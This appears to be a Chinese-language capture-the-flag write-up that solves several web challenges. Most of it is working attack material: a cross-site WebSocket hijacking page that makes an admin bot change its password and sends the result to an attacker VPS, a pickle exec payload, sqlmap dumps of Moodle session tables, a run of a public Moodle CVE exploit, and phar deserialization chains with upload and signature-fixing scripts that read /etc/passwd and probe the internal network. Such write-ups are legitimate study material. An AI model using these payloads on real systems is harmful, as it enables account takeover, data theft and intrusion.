www.zip下载源码,可见黑名单过滤。
开启了spl_autoload_register 没有做限制的话 ,在反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc
上传一个inc,再生成反序列化数据,最后去config.inc.php包含,执行木马
ws协议通讯,且未对请求的Origin头字段进行校验可以打类似CSRF的CSWSH(Cross-site WebSocket Hijacking)
拿题目上的ws js改一下丢到自己vps上 让admin bot去check一下,建立连接并发送修改密码的请求,我这里写的改完之后回弹执行结果,vps上监听两个端口就行。
DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Testtitle>
<script language="javascript" type="text/javascript">
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
function init()
{
sendtobot();
}
function sendtobot() {
if (ws) {
var msg = "changepw 123456";
ws.send(msg);
}
else{
ws = new WebSocket(url);
ws.onopen = function (event) {
console.log('connection open!')
var msg = "changepw 123456";
ws.send(msg);
}
ws.onmessage = function (ev) {
botsay(ev.data);
};
ws.onerror = function () {
console.log("connection error");
};
ws.onclose = function () {
console.log("connection close!");
};
}
}
function botsay(content) {
document.location='http://vps:7777?c=bot: ' + content;
}
function closeWebSocket() {
if(ws){
ws.close();
ws = null;
}
}
window.addEventListener("load", init, false);
script>
然后去登录admin账号即可,购买提示,获得后端源码下载地址。
可以通过减去负数的cost使得money增加
但python后端写死了合理的num
利用前后端的JSON Parsers 差异安全问题绕过:
python标准库中的JSON解析器,针对重复键,将返回最后一个键值对。
Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对。
提交一个负数的值就能加钱了,直接购买flag即可。
OBJ(GLOBAL('builtins', 'exec'), '''c="import admin;admin.s"+"ecret='1'";exec(c)''')
return
使用pker生成cookie
带着恶意cookie去访问/balancer修改admin的密码,然后正常登录。
提交权重均为0,地址任意合法即可,多等一会等待模拟结果返回就是flag。
https://zhuanlan.zhihu.com/p/471299626
https://cn-sec.com/archives/1206142.html
sqlmap去跑数据
python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions --technique E --columns --batch
user密码是加密得,根据https://severalnines.com/blog/using-redis-offload-galera-cluster-session-management-data-moodle/得知登录session会放入数据库mdl_sessions表
python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions -C id,sid,userid,sessdata --technique E --batch --dump
然后登录页面替换cookie值,进入管理员页面。(实际时要用userid为2的sid,写wp的时候环境有问题了)
https://github.com/HoangKien1020/CVE-2020-14321 用这个exp
运行脚本执行命令 或者手动上传zip执行命令
python3 cve202014321.py -url http://47.105.52.19:8888 -cookie=rpu74vh353tiflel5ncdilqka7 -cmd=cat //etc/mytest/flaaaaaaaggggggggggggggggggggg
利用伪协议读源码,使用demo或者guest加在不影响的位置绕过检测
/showfile.php?f=php://filter/read=convert.base64-encode/demo/resource=upload.php
利用SESSION_UPLOAD_PROGRESS上传文件
import requests
import io
url = "http://47.104.95.124:8080/upload.php"
f = io.BytesIO(b"t" * 1024 * 50)
r = requests.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "2333"}, files={"file": open("fixd_phar.jpg","rb")}, cookies={"PHPSESSID": "2333"})
path = r.text.split(" ")[-2].split("/")[-2]
r = requests.get(f"http://47.104.95.124:8080/showfile.php?f=phar:///var/www/html/{path}/fixd_phar.jpg/demo.txt",timeout=1)
print(r.text)
phar文件生成脚本如下:
AdminShow#__wakeup -> GuestShow#__toString -> AdminShow#__get -> AdminShow#show
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "{$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = '';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
echo $url;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "{$src} />";
}
public function __wakeup()
{
echo "wakeup";
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
$a = new AdminShow('a');
$b = new GuestShow('a');
$c = new AdminShow('file:///etc/passwd');
$b->file = $c;
$a->schema = $b;
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
?>
或者直接用GuestShow#__destruct方法就能直接触发自己的toString。
$a = new GuestShow("a");
$b = new AdminShow("file:///etc/passwd");
$a->file=$b;
wakeup的绕过可以用属性个数大于实际的方法,将属性个数加1变成5,或者把schema属性删掉。
改完的文件还需要修复一下phar的校验头
# -*- coding: utf-8 -*-
from hashlib import sha1
f = open('phar.jpg', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixd_phar.jpg', 'wb').write(newf) # 写入新文件
其实不用这么麻烦去调用,因为AdminShow类中未public schema属性,反序列化时可以直接进入__get进行任意覆盖同时绕过wakeup
<?php
class AdminShow
{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
}
}
$a = new AdminShow("file:///etc/passwd");
echo serialize($a);
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
然后用上面的脚本上传,利用AdminShow#show的curl扫内网,目标机器在10段,然后file协议读flag。